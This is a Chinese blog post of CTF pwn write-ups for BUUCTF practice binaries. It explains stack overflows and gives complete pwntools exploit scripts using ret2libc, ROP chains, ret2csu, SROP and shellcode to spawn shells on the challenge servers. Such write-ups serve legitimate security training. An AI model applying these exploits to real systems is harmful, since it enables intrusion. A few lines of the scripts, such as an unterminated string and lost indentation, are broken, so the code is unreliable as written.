注意其中的get_n函数是自己定义的,然后就是ret2libc,绕过if判断,第一个get_获取第二个gen_n的大小,发送-1,后利用栈溢出进行ret2libc,同时注意发送system(“/bin/sh”)的时候返回地址不能用0会截断,因为get_n里面提取输入的是getchar()函数

Exp:

from struct import pack

from LibcSearcher import *

from pwn import *

#context(os='linux', arch='amd64', log_level='debug')

context(os='linux', arch='i386', log_level='debug')

def debug():

    gdb.attach(p)

    pause()

def get_addr():

return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

pwn="./pwn2_sctf_2016"

p=remote("node4.buuoj.cn",26699)

#p=process(pwn)

elf=ELF(pwn)

#gdb.attach(p,'b *0x080485B7')

#pause()

p.sendlineafter("read? ",b'-1)

payload = b'a'*0x30 + p32(elf.plt['printf']) + p32(elf.sym['main']) + p32(0x80486F8) +  p32(elf.got['printf'])

p.sendlineafter("bytes of data!\n",payload)

p.recvline()

p.recvuntil("You said: ")

printf_addr=u32(p.recv(4))

print(hex(printf_addr))

'''

libc=LibcSearcher('printf',printf_addr)

libcbase=printf_addr-libc.dump('printf')

sys_addr=libcbase+libc.dump('system')

bin_sh=libcbase+libc.dump('str_bin_sh')

'''

libc=ELF("./libc-2.23.so")

libcbase=printf_addr-libc.sym['printf']

sys_addr=libcbase+libc.sym['system']

bin_sh=libcbase+next(libc.search(b'/bin/sh\x00'))

p.sendlineafter("read? ",b'-1')

payload = b'a'*0x30 + p32(sys_addr)+b'aaaa'+p32(bin_sh)

p.sendlineafter("bytes of data!\n",payload)

p.recvline()

p.interactive()

29、jarvisoj_level3

32位,RELRO半开,NX保护,ida打开,两个函数,没啥,就连左边的函数都少的很,无后门函数,一道典型的ret2libc题目

vulnerable_function函数明显的栈溢出,虽然算上ebp只能溢出0x14个字节,但是刚好够了(gdb动态调试过)

exp本地可以打通,远程还是要搞份题目的libc文件才行

Exp

from struct import pack

from LibcSearcher import *

from pwn import *

#context(os='linux', arch='amd64', log_level='debug')

context(os='linux', arch='i386', log_level='debug')

def debug():

    gdb.attach(p)

    pause()

def get_addr():

return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

pwn="./level3"

p=remote("node4.buuoj.cn",25077)

#p=process(pwn)

elf=ELF(pwn)

#gdb.attach(p,'b *0x08048600')

#pause()

p.recvuntil("Input:\n")

payload=b'a'*0x8c+p32(elf.sym['write'])+p32(elf.sym['main'])+p32(0x1)+p32(elf.got['write'])+p32(0x4)

p.send(payload)

write_addr=u32(p.recv(4))

print('write_addr->',hex(write_addr))

libcbase1=write_addr-0xf23c0

sys_addr=libcbase1+0x04a470

bin_sh=libcbase1+0x18ee0e

p.recvuntil("Input:\n")

payload=0x8c*b'a'+p32(sys_addr)+p32(0xdeadbeef)+p32(bin_sh)

p.sendline(payload)

p.interactive()

30、picoctf_2018_rop chain

32位,RELRO半开,NX保护,ida打开

vuln函数栈溢出,偏移为0x18

同时有flag函数,通过第二个if函数就可以将flag打印出来,那也就是说我们要先完成if判断,win1不为0,win2不为0,且a1要等于一个值,才能正确打印flag

在左边的函数表可以看见一个win_function1()和win_function2(int a1), 第一个函数直接帮我们把win1赋值为1,接下来重点看函数function2

分析完这两个函数思路就清晰多了,根据函数调用约定,先进入func1函数,因为该函数是无参函数,后接函数func2的地址,32位,参数在栈上,根据函数调用约定,先接flag的地址再接参数,构造了简短的ROP链,要完成func2函数中if的判定必须要先使win1不为0,所以才放前面

Exp:

from struct import pack

from LibcSearcher import *

from pwn import *

#context(os='linux', arch='amd64', log_level='debug')

context(os='linux', arch='i386', log_level='debug')

def debug():

    gdb.attach(p)

    pause()

def get_addr():

return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

pwn="./PicoCTF_2018_rop_chain"

p=remote("node4.buuoj.cn",29892)

#p=process(pwn)

elf=ELF(pwn)

#gdb.attach(p,'b *0x0804873A')

#pause()

func1=0x080485CB

func2=0x080485D8

flag=0x0804862B

payload=b'a'*0x1c+p32(func1)+p32(func2)+p32(flag)+p32(0x0BAAAAAAD)+p32(0xDEADBAAD)

p.recv()

p.sendline(payload)

#pause()

p.recv()

p.interactive()

31、ciscn_2019_s_3

64位,RELRO半开,NX保护,ida打开看看,就一个vuln函数

这道题是看题解理解了之后的一道ret2csu,先可以读入0x400,可以造成栈溢出,然后进行输出0x30(根据我们读入数据的地址开始输出),先gdb调试看看,

根据gdb一步一步调试发现我们读入数据的地址距离栈上所指向的地址有关于程序运行刚开始的rbp的地址是0x10,而程序刚开始的栈底的地址与qword ptr [rbp - 0x10], rsi这句指令的rsi的值有固定的偏移量,这个rsi的值在vuln函数还没执行时会先被放入栈上,在0x7fffffffde70,syscall执行之后就开始执行sys_write,会把0x30区间地址上所指的值输出出来,然后我们可以利用接收到距离输入数据的0x20地址上的一段地址也就是程序运行的开始放入栈上距离main函数的rbp的栈底地址0x148个字节的地址,这样我们往栈上写入”/bin/sh\x00”时就能通过sys_write泄露出的地址计算出”/bin/sh\x00”所在的地址信息,再进行系统调用,构造rax==0x3b(这个在ida可以找到,这个gadget题目已经有了),rdi==/bin/sh,rsi==0,rdx==0,syscall,ROPgadget只能找到其中的rdi,rsi,那就只能利用 __libc_csu_init这个函数的一些gadget

Part1的部分就是我们控制六个寄存器的值,可以控制rbx,rbp,再联系part2的部分看我们可以知道可以通过控制r13的值控制rdx,接下来我们也不能接下来进行跳转,因为有可能一直进行循环,所以我们要控制rbp=1,rbx=0,再考虑的就是会call r12(因为rbx==0)这里可以放我们的rax==0x3b的地址,也就是bin_sh+0xb0(这是在本地打通,环境不同,按照第二次payload构造的距离计算下面b’/bin/sh\x00’rax_3b为0xb0),用ubuntu18应该是远程的环境。

本地Ubuntu20的Exp:

from struct import pack

from LibcSearcher import *

from pwn import *

#context(os='linux', arch='amd64', log_level='debug')

context(os='linux', arch='i386', log_level='debug')

def debug():

    gdb.attach(p)

    pause()

def get_addr():

return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

pwn="./ciscn_s_3"

#p=remote("node4.buuoj.cn",26027)

p=process(pwn)

elf=ELF(pwn)

rax_3b=0x4004E2

rbx_rbp_r12_r13_r14_r15=0x40059A

rdi=0x4005a3

rsi_r15=0x4005a1

ret=0x4003a9

r13_rdx=0x400580

syscall=0x400517

ret=0x4003a9

#gdb.attach(p,'b *0x400519')

#pause()

payload=b'a'*0x10+p64(elf.sym['vuln'])

p.sendline(payload)               

p.recv(0x20)    

bin_sh=u64(p.recv(6).ljust(8,b'\x00'))         #get   stack_addr

bin_sh=bin_sh-0x148

print('bin_sh->',hex(bin_sh))         #get bin_sh_addr

payload=b'/bin/sh\x00'+b'a'*0x8+p64(rbx_rbp_r12_r13_r14_r15)+p64(0)+p64(0x1)+p64(bin_sh+0xb0)+p64(0)+p64(0)+p64(0)  #rax=0x3b

payload+=p64(r13_rdx)+p64(0)*7    #rdx=0    

payload+=p64(rdi)+p64(bin_sh)    #rdi=bin_sh_addr

payload+=p64(rsi_r15)+p64(0)*2    #rsi=0

payload+=p64(rax_3b)            #rax=0x3b

payload+=p64(syscall)           #syscall

p.sendline(payload)

#pause()

p.interactive()

远程Exp:

from struct import pack

from LibcSearcher import *

from pwn import *

#context(os='linux', arch='amd64', log_level='debug')

context(os='linux', arch='i386', log_level='debug')

def debug():

    gdb.attach(p)

    pause()

def get_addr():

return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

pwn="./ciscn_s_3"

p=remote("node4.buuoj.cn",25627)

#p=process(pwn)

elf=ELF(pwn)

rax_3b=0x4004E2

rbx_rbp_r12_r13_r14_r15=0x40059A

rdi=0x4005a3

rsi_r15=0x4005a1

ret=0x4003a9

r13_rdx=0x400580

syscall=0x400517

ret=0x4003a9

#gdb.attach(p,'b *0x400519')

#pause()

payload=b'a'*0x10+p64(elf.sym['vuln'])

p.sendline(payload)               

p.recv(0x20)    

bin_sh=u64(p.recv(6).ljust(8,b'\x00'))         #get   stack_addr

bin_sh=bin_sh-0x118

print('bin_sh->',hex(bin_sh))         #get bin_sh_addr

payload=b'/bin/sh\x00'+b'a'*0x8+p64(rbx_rbp_r12_r13_r14_r15)+p64(0)+p64(0x1)+p64(bin_sh+0x50)+p64(0)+p64(0)+p64(0)  #rax=0x3b

payload+=p64(r13_rdx)  #rdx=0    

payload+=p64(rdi)+p64(bin_sh)    #rdi=bin_sh_addr

payload+=p64(rsi_r15)+p64(0)*2    #rsi=0

payload+=p64(rax_3b)            #rax=0x3b

payload+=p64(syscall)           #syscall

p.sendline(payload)

#pause()

p.interactive()

第二种用srop,Exp:

from struct import pack
from LibcSearcher import *
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./ciscn_s_3"
#p=process(pwn)
p=remote("node4.buuoj.cn",27546)
elf=ELF(pwn)
sign=0x4004DA
syscall=0x400517
payload=b'a'*0x10+p64(elf.sym['vuln'])
p.sendline(payload)
p.recv(0x20)
stack=u64(p.recv(6).ljust(8, b'\x00')) - 0x118


sigframe=SigreturnFrame()
sigframe.rax=constants.SYS_execve
sigframe.rdi=stack
sigframe.rsi=0
sigframe.rdx=0
sigframe.rip=syscall

payload=b'/bin/sh\x00'+b'a'*8+p64(sign)+p64(syscall)+flat(sigframe)
p.sendline(payload)
p.interactive()

32、ez_pz_hackover_2016

32位,RELRO全开,ida打开看看,一个函数清空缓冲区,一个函数打印一堆东西,只有一个chall函数有看头,fgets()输入1023个字节,第一个printf函数会泄露栈地址,用下三行泄露栈地址

p.recvuntil("crash: ")

stack=p.recv(10)

stack=int(stack,16)   

但是s距离ebp有0x40c,根本造成不了栈溢出,所以只能往下看,12-16行作用不大,我们需要将result置0才能进入vuln函数内部,strcmp的返回值要为0需要两个字符串完全相同,且读取字符串至 “\x00”,所以payload=b’crashme\x00‘先绕过strcmp函数

 

vuln函数成功执行的效果就是把s复制0x400个字节到dest,这样就能轻松栈溢出了

shellcode=asm(shellcraft.sh())

payload=b'crashme\x00'+b'aaaa'   #+shellcode

p.sendline(payload)

用上三行代码进行GDB动态调试,如下图所示可以看到距离ebp的距离是0xe(这里指的是除去b'crashme\x00'的长度)+4就可以溢出到返回地址

接下来再运行这个进行gdb动态调试,知道shellcode距离泄露的栈地址的偏移,通过栈地址加上偏移就是返回地址ret_addr

shellcode=asm(shellcraft.sh())

payload=b'crashme\x00'+b'a'*0x12+p32(0xdeadbeef)+shellcode

p.sendline(payload)

通过计算得出写入的shellcode地址距离泄露得栈地址差0x1c个字节,接下来就可以写exp了

Exp:

from struct import pack

from LibcSearcher import *

from pwn import *

#context(os='linux', arch='amd64', log_level='debug')

context(os='linux', arch='i386', log_level='debug')

def debug():

    gdb.attach(p)

    pause()

def get_addr():

return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

pwn="./ez_pz_hackover_2016"

p=remote("node4.buuoj.cn",27365)

#p=process(pwn)

elf=ELF(pwn)

#gdb.attach(p,'b *0x08048600')

#pause()

p.recvuntil("crash: ")

stack=p.recv(10)

stack=int(stack,16)

print((hex(stack)))

shellcode=asm(shellcraft.sh())

payload=b'crashme\x00'+b'a'*0x12+p32(stack-0x1c)+shellcode

p.sendline(payload)

#pause()

p.interactive()

posted @ 2023-11-20 22:51  fheap  阅读(182)  评论(0编辑  收藏  举报